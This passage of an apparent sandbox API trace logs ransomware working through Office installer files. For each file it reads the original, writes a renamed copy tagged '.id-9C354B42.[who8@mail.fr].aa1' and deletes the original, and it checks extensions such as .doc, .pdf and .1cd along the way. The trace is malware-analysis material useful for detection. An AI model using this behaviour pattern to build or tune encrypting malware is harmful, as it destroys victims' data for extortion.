lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x650, lpOverlapped=0x0) returned 1 [0199.187] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.187] WriteFile (in: hFile=0x1a0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0199.187] SetEndOfFile (hFile=0x1a0) returned 1 [0199.188] CloseHandle (hObject=0x1a0) returned 1 [0199.188] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.188] SetEndOfFile (hFile=0x178) returned 1 [0199.189] CloseHandle (hObject=0x178) returned 1 [0199.189] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0199.190] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0199.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.190] lstrlenW (lpString=".doc") returned 4 [0199.190] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.190] lstrlenW (lpString=".docx") returned 5 [0199.190] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0199.190] lstrlenW (lpString=".pdf") returned 4 [0199.190] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.190] lstrlenW (lpString=".xls") returned 4 [0199.191] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.191] lstrlenW (lpString=".xlsx") returned 5 [0199.191] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0199.191] lstrlenW (lpString=".ppt") returned 4 [0199.191] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.191] lstrlenW (lpString=".zip") returned 4 [0199.191] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.191] lstrlenW (lpString=".rar") returned 4 [0199.191] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.191] lstrlenW (lpString=".bz2") returned 4 [0199.191] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.191] lstrlenW (lpString=".7z") returned 3 [0199.191] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.191] lstrlenW (lpString=".dbf") returned 4 [0199.191] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.191] lstrlenW (lpString=".1cd") returned 4 [0199.191] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.191] lstrlenW (lpString=".jpg") returned 4 [0199.191] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.192] lstrlenW (lpString=".doc") returned 4 [0199.192] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.192] lstrlenW (lpString=".docx") returned 5 [0199.192] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0199.192] lstrlenW (lpString=".pdf") returned 4 [0199.192] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.192] lstrlenW (lpString=".xls") returned 4 [0199.192] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.192] lstrlenW (lpString=".xlsx") returned 5 [0199.192] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0199.192] lstrlenW (lpString=".ppt") returned 4 [0199.192] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.192] lstrlenW (lpString=".zip") returned 4 [0199.192] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.192] lstrlenW (lpString=".rar") returned 4 [0199.192] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.192] lstrlenW (lpString=".bz2") returned 4 [0199.192] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.192] lstrlenW (lpString=".7z") returned 3 [0199.192] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.192] lstrlenW (lpString=".dbf") returned 4 [0199.193] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.193] lstrlenW (lpString=".1cd") returned 4 [0199.193] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.193] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0199.193] lstrlenW (lpString=".jpg") returned 4 [0199.193] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.193] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0199.193] lstrlenW (lpString="Proof.xml") returned 9 [0199.193] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0199.193] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1458) returned 1 [0199.193] CloseHandle (hObject=0x178) returned 1 [0199.193] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0199.194] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0199.194] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0199.194] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.194] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.194] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0199.194] GetLastError () returned 0x0 [0199.194] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0199.599] WriteFile (in: hFile=0x1a0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0199.702] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.702] WriteFile (in: hFile=0x1a0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0199.702] SetEndOfFile (hFile=0x1a0) returned 1 [0199.702] CloseHandle (hObject=0x1a0) returned 1 [0199.704] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.704] SetEndOfFile (hFile=0x178) returned 1 [0200.474] CloseHandle (hObject=0x178) returned 1 [0200.474] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0200.474] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0200.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0200.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0200.474] lstrlenW (lpString=".doc") returned 4 [0200.475] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.475] lstrlenW (lpString=".docx") returned 5 [0200.475] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0200.475] lstrlenW (lpString=".pdf") returned 4 [0200.475] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.475] lstrlenW (lpString=".xls") returned 4 [0200.475] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.475] lstrlenW (lpString=".xlsx") returned 5 [0200.475] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0200.475] lstrlenW (lpString=".ppt") returned 4 [0200.475] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0200.475] lstrlenW (lpString=".zip") returned 4 [0200.475] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.475] lstrlenW (lpString=".rar") returned 4 [0200.475] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.475] lstrlenW (lpString=".bz2") returned 4 [0200.475] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.475] lstrlenW (lpString=".7z") returned 3 [0200.475] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0200.475] lstrlenW (lpString=".dbf") returned 4 [0200.475] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0200.475] lstrlenW (lpString=".1cd") returned 4 [0200.475] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0200.475] lstrlenW (lpString=".jpg") returned 4 [0200.475] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0200.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0200.475] lstrlenW (lpString=".doc") returned 4 [0200.475] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.475] lstrlenW (lpString=".docx") returned 5 [0200.475] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0200.475] lstrlenW (lpString=".pdf") returned 4 [0200.476] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.476] lstrlenW (lpString=".xls") returned 4 [0200.476] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.476] lstrlenW (lpString=".xlsx") returned 5 [0200.476] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0200.476] lstrlenW (lpString=".ppt") returned 4 [0200.476] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0200.476] lstrlenW (lpString=".zip") returned 4 [0200.476] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.476] lstrlenW (lpString=".rar") returned 4 [0200.476] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.476] lstrlenW (lpString=".bz2") returned 4 [0200.476] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.476] lstrlenW (lpString=".7z") returned 3 [0200.476] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0200.476] lstrlenW (lpString=".dbf") returned 4 [0200.476] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0200.476] lstrlenW (lpString=".1cd") returned 4 [0200.476] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0200.476] lstrlenW (lpString=".jpg") returned 4 [0200.476] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.476] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0200.476] lstrlenW (lpString="Setup.xml") returned 9 [0200.476] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0200.477] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1852) returned 1 [0200.477] CloseHandle (hObject=0x178) returned 1 [0200.477] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0200.477] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0200.477] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0200.477] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.477] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.477] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0200.477] GetLastError () returned 0x0 [0200.477] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x73c, lpOverlapped=0x0) returned 1 [0200.527] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x740, lpOverlapped=0x0) returned 1 [0200.717] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0200.717] WriteFile (in: hFile=0x15c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0200.717] SetEndOfFile (hFile=0x15c) returned 1 [0200.717] CloseHandle (hObject=0x15c) returned 1 [0200.718] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.718] SetEndOfFile (hFile=0x178) returned 1 [0200.719] CloseHandle (hObject=0x178) returned 1 [0200.719] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0200.719] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0200.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.720] lstrlenW (lpString=".doc") returned 4 [0200.720] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.720] lstrlenW (lpString=".docx") returned 5 [0200.720] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0200.720] lstrlenW (lpString=".pdf") returned 4 [0200.720] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.720] lstrlenW (lpString=".xls") returned 4 [0200.720] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.720] lstrlenW (lpString=".xlsx") returned 5 [0200.720] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0200.720] lstrlenW (lpString=".ppt") returned 4 [0200.720] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.720] lstrlenW (lpString=".zip") returned 4 [0200.720] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.720] lstrlenW (lpString=".rar") returned 4 [0200.720] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.720] lstrlenW (lpString=".bz2") returned 4 [0200.720] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.720] lstrlenW (lpString=".7z") returned 3 [0200.720] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.720] lstrlenW (lpString=".dbf") returned 4 [0200.721] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.721] lstrlenW (lpString=".1cd") returned 4 [0200.721] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.721] lstrlenW (lpString=".jpg") returned 4 [0200.721] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.721] lstrlenW (lpString=".doc") returned 4 [0200.721] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.721] lstrlenW (lpString=".docx") returned 5 [0200.721] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0200.721] lstrlenW (lpString=".pdf") returned 4 [0200.721] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.721] lstrlenW (lpString=".xls") returned 4 [0200.721] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.721] lstrlenW (lpString=".xlsx") returned 5 [0200.721] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0200.721] lstrlenW (lpString=".ppt") returned 4 [0200.721] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.721] lstrlenW (lpString=".zip") returned 4 [0200.721] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.721] lstrlenW (lpString=".rar") returned 4 [0200.721] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.721] lstrlenW (lpString=".bz2") returned 4 [0200.721] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.722] lstrlenW (lpString=".7z") returned 3 [0200.722] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.722] lstrlenW (lpString=".dbf") returned 4 [0200.722] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.722] lstrlenW (lpString=".1cd") returned 4 [0200.722] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.722] lstrlenW (lpString=".jpg") returned 4 [0200.722] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.722] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0200.722] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0200.722] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0200.723] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1606) returned 1 [0200.723] CloseHandle (hObject=0x178) returned 1 [0200.723] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0200.723] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0200.723] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0200.724] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.724] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.724] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 